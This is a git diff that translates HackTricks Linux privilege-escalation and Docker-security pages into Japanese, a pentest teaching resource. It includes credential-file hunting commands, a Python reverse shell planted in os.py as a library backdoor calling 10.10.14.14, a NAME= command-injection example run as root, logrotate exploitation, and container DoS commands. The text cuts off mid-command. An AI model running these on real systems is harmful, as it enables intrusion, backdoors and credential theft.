"httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` - -### Hidden files - +### 隠しファイル ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` - -### **Script/Binaries in PATH** - +### **PATH内のスクリプト/バイナリ** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` - -### **Web files** - +### **ウェブファイル** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` - -### **Backups** - +### **バックアップ** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` +### パスワードを含む既知のファイル -### Known files containing passwords +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ +**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### ログ +ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\ +また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、監査ログ内に**パスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +**ログを読むために、グループ** [**adm**](interesting-groups-linux-pe/#adm-group) **は非常に役立ちます。** -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### シェルファイル ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1531,64 +1306,57 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` +### 一般的なクレデンシャル検索/正規表現 -### Generic Creds Search/Regex +ファイル名や内容に「**password**」という単語が含まれているファイルをチェックし、ログ内のIPやメール、またはハッシュの正規表現も確認する必要があります。\ +これをすべて行う方法をここにリストするつもりはありませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +## 書き込み可能なファイル -## Writable files +### Pythonライブラリのハイジャック -### Python library hijacking - -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込める場合は、os.pyライブラリをコピーして貼り付けます)。 +ライブラリを**バックドア化する**には、os.pyライブラリの最後に次の行を追加します(IPとポートを変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Logrotateの悪用 -### Logrotate exploitation - -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_var/log_内の権限も確認することが重要です。 > [!NOTE] -> This vulnerability affects `logrotate` version `3.18.0` and older +> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前に影響します。 -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +脆弱性に関する詳細情報はこのページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +この脆弱性は[**logrotten**](https://github.com/whotwagner/logrotten)を使用して悪用できます。 -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +この脆弱性は[**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginxログ)**に非常に似ているため、ログを変更できることがわかった場合は、誰がそのログを管理しているかを確認し、ログをシンボリックリンクで置き換えることで特権を昇格できるかどうかを確認してください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**脆弱性の参照:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +何らかの理由で、ユーザーが_/etc/sysconfig/network-scripts_に`ifcf-`スクリプトを**書き込む**ことができるか、既存のものを**調整**できる場合、あなたの**システムは侵害されています**。 -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +ネットワークスクリプト、例えば_ifcg-eth0_はネットワーク接続に使用されます。これらは.iniファイルのように見えます。しかし、LinuxではNetwork Manager(dispatcher.d)によって\~ソースされます\~。 -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +私のケースでは、これらのネットワークスクリプトで`NAME=`が正しく処理されていません。名前に**空白がある場合、システムは空白の後の部分を実行しようとします**。これは、**最初の空白の後のすべてがrootとして実行されることを意味します**。 +例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` - -(_Note the blank space between Network and /bin/id_) - ### **init, init.d, systemd, and rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +ディレクトリ `/etc/init.d` は **System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start`、`stop`、`restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。 -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +一方、`/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。 -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. +**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化しています。 ## Other Tricks @@ -1628,7 +1396,7 @@ cisco-vmanage.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** LinuxとMACのカーネル脆弱性を列挙 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index d48f733d4..8157412fd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,56 +2,45 @@ {{#include ../../../banners/hacktricks-training.md}} -
+## **基本的なDockerエンジンのセキュリティ** -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## **Basic Docker Engine Security** - -The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. +**Dockerエンジン**は、Linuxカーネルの**ネームスペース**と**Cgroups**を利用してコンテナを隔離し、基本的なセキュリティ層を提供します。追加の保護は、**Capabilities dropping**、**Seccomp**、および**SELinux/AppArmor**を通じて提供され、コンテナの隔離が強化されます。**auth plugin**は、ユーザーの行動をさらに制限することができます。 ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -### Secure Access to Docker Engine +### Dockerエンジンへの安全なアクセス -The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Dockerエンジンには、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。 +Dockerエンジンは、デフォルトで`unix:///var/run/docker.sock`のUnixソケットでリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、以下の設定を追加してDockerデーモンをHTTPソケット経由で公開します: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +しかし、セキュリティ上の懸念から、HTTP経由でDockerデーモンを公開することは推奨されません。HTTPSを使用して接続を保護することをお勧めします。接続を保護するための主なアプローチは2つあります: -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. クライアントがサーバーのアイデンティティを確認します。 +2. クライアントとサーバーが互いのアイデンティティを相互認証します。 -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +証明書はサーバーのアイデンティティを確認するために使用されます。両方の方法の詳細な例については、[**このガイド**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)を参照してください。 -Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### コンテナイメージのセキュリティ -### Security of Container Images +コンテナイメージは、プライベートまたはパブリックリポジトリに保存できます。Dockerはコンテナイメージのためのいくつかのストレージオプションを提供しています: -Container images can be stored in either private or public repositories. Docker offers several storage options for container images: +- [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。 +- [**Docker Registry**](https://github.com/docker/distribution): ユーザーが自分のレジストリをホストできるオープンソースプロジェクト。 +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を特徴とするDockerの商用レジストリオファリング。 -- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. -- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services. +### イメージスキャン -### Image Scanning +コンテナは、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのために**セキュリティ脆弱性**を持つ可能性があります。Dockerは、コンテナのセキュリティスキャンを行い、脆弱性をリストアップする**Nautilus**というプロジェクトに取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較することで、セキュリティホールを特定します。 -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. - -For more [**information read this**](https://docs.docker.com/engine/scan/). +詳細については、[**こちらをお読みください**](https://docs.docker.com/engine/scan/)。 - **`docker scan`** -The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: - +**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、hello-worldイメージをスキャンするには、次のコマンドを実行します: ```bash docker scan hello-world @@ -67,103 +56,82 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` - - [**`trivy`**](https://github.com/aquasecurity/trivy) - ```bash trivy -q -f json : ``` - - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - ```bash snyk container test --json-file-output= --severity-threshold=high ``` - - [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` +### Docker イメージ署名 -### Docker Image Signing +Docker イメージ署名は、コンテナで使用されるイメージのセキュリティと整合性を確保します。以下は簡潔な説明です: -Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: - -- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). -- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. -- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error. -- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image. - -To back up your private keys, use the command: +- **Docker Content Trust** は、Notary プロジェクトを利用し、The Update Framework (TUF) に基づいてイメージ署名を管理します。詳細については [Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。 +- Docker コンテンツトラストを有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Docker バージョン 1.10 以降ではデフォルトでオフになっています。 +- この機能が有効な場合、署名されたイメージのみがダウンロードできます。最初のイメージプッシュには、ルートおよびタグ付けキーのパスフレーズを設定する必要があり、Docker はセキュリティを強化するために Yubikey もサポートしています。詳細は [こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) で確認できます。 +- コンテンツトラストが有効な状態で署名されていないイメージをプルしようとすると、「No trust data for latest」というエラーが発生します。 +- 最初のイメージプッシュの後、Docker はイメージに署名するためにリポジトリキーのパスフレーズを要求します。 +プライベートキーをバックアップするには、次のコマンドを使用します: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` +Dockerホストを切り替える際は、操作を維持するためにルートおよびリポジトリキーを移動する必要があります。 -When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## Containers Security Features +## コンテナのセキュリティ機能
-Summary of Container Security Features +コンテナセキュリティ機能の概要 -**Main Process Isolation Features** +**主なプロセス隔離機能** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +コンテナ化された環境では、プロジェクトとそのプロセスを隔離することがセキュリティとリソース管理のために重要です。以下は、主要な概念の簡単な説明です: -**Namespaces** +**ネームスペース** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **目的**: プロセス、ネットワーク、ファイルシステムなどのリソースの隔離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。 +- **`unshare`の使用**: `unshare`コマンド(または基盤となるシステムコール)は、新しいネームスペースを作成するために利用され、追加の隔離層を提供します。ただし、Kubernetesはこれを本質的にブロックしませんが、Dockerはブロックします。 +- **制限**: 新しいネームスペースを作成しても、プロセスがホストのデフォルトネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入ります。 -**Control Groups (CGroups)** +**コントロールグループ (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **機能**: 主にプロセス間でリソースを割り当てるために使用されます。 +- **セキュリティの側面**: CGroups自体は隔離セキュリティを提供しませんが、`release_agent`機能が誤って設定されると、無許可のアクセスに悪用される可能性があります。 -**Capability Drop** +**能力のドロップ** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **重要性**: プロセス隔離のための重要なセキュリティ機能です。 +- **機能**: 特定の能力をドロップすることで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な能力が欠けていると、特権アクションを実行できず、システムコールは権限不足のために失敗します。 +これらは、プロセスが他の能力をドロップした後の**残りの能力**です: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +Dockerではデフォルトで有効になっています。これは、プロセスが呼び出すことができる**syscallsをさらに制限する**のに役立ちます。\ +**デフォルトのDocker Seccompプロファイル**は[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。 **AppArmor** -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Dockerには有効化できるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +これにより、能力、syscalls、ファイルやフォルダへのアクセスを減らすことができます...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Namespaces**はLinuxカーネルの機能で、**カーネルリソースを分割**し、あるセットの**プロセス**があるセットの**リソース**を**見る**一方で、**別の**セットの**プロセス**が**異なる**セットのリソースを見ることができます。この機能は、リソースとプロセスのセットに同じnamespaceを持たせることによって機能しますが、それらのnamespaceは異なるリソースを指します。リソースは複数の空間に存在することがあります。 -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Dockerは、コンテナの隔離を実現するために以下のLinuxカーネルNamespacesを利用しています: - pid namespace - mount namespace @@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i - ipc namespace - UTS namespace -For **more information about the namespaces** check the following page: +**namespacesに関する詳細情報**は以下のページを確認してください: {{#ref}} namespaces/ @@ -179,22 +147,18 @@ namespaces/ ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +Linuxカーネルの機能**cgroups**は、**cpu、memory、io、network bandwidthなどのリソースを制限する**能力を提供します。Dockerは、特定のコンテナのリソース制御を可能にするcgroup機能を使用してコンテナを作成できます。\ +以下は、ユーザースペースのメモリが500mに制限され、カーネルメモリが50mに制限され、cpuシェアが512、blkioweightが400に設定されたコンテナです。CPUシェアはコンテナのCPU使用量を制御する比率です。デフォルト値は1024で、範囲は0から1024です。3つのコンテナが同じCPUシェア1024を持つ場合、各コンテナはCPUリソースの競合が発生した場合に最大33%のCPUを使用できます。blkio-weightはコンテナのIOを制御する比率です。デフォルト値は500で、範囲は10から1000です。 ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +コンテナのcgroupを取得するには、次のようにします: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +より詳しい情報は次を確認してください: {{#ref}} cgroups.md @@ -202,9 +166,9 @@ cgroups.md ### Capabilities -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +Capabilitiesは、**rootユーザーに許可される能力をより細かく制御する**ことを可能にします。DockerはLinuxカーネルの能力機能を使用して、**ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します**。 -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる敏感な能力を放棄します**。これは、プロセスが敏感なアクションを実行し、脱出できないことを保証しようとします: {{#ref}} ../linux-capabilities.md @@ -212,7 +176,7 @@ When a docker container is run, the **process drops sensitive capabilities that ### Seccomp in Docker -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +これは、Dockerが**コンテナ内で使用できるsyscallsを制限する**ことを可能にするセキュリティ機能です: {{#ref}} seccomp.md @@ -220,7 +184,7 @@ seccomp.md ### AppArmor in Docker -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor**は、**コンテナ**を**限られた**リソースの**セット**に制限するためのカーネル拡張です。**プログラムごとのプロファイル**を持っています: {{#ref}} apparmor.md @@ -228,13 +192,13 @@ apparmor.md ### SELinux in Docker -- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. -- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. -- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. -- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. -- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. +- **ラベリングシステム**: SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。 +- **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対してどのようなアクションを実行できるかを定義するセキュリティポリシーを強制します。 +- **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は制限されたSELinuxラベル、一般的には`container_t`が割り当てられます。 +- **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常`container_file_t`としてラベル付けされます。 +- **ポリシールール**: SELinuxポリシーは、`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できることを主に保証します。 -This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. +このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとのみ相互作用するように制限され、そうした侵害からの潜在的な損害が大幅に制限されます。 {{#ref}} ../selinux.md @@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised, ### AuthZ & AuthN -In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: +Dockerでは、認可プラグインがセキュリティにおいて重要な役割を果たし、Dockerデーモンへのリクエストを許可またはブロックするかを決定します。この決定は、2つの重要なコンテキストを調べることによって行われます: -- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. -- **Command Context**: This comprises all pertinent data related to the request being made. +- **認証コンテキスト**: これには、ユーザーが誰であるか、どのように認証されたかに関する包括的な情報が含まれます。 +- **コマンドコンテキスト**: これには、行われているリクエストに関連するすべての重要なデータが含まれます。 -These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. +これらのコンテキストは、認証されたユーザーからの正当なリクエストのみが処理されることを保証し、Docker操作のセキュリティを強化します。 {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## DoS from a container +## コンテナからのDoS -If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. +コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナが実行されているホストにDoSを引き起こす可能性があります。 - CPU DoS - ```bash # stress-ng sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m @@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` - -- Bandwidth DoS - +- 帯域幅DoS ```bash nc 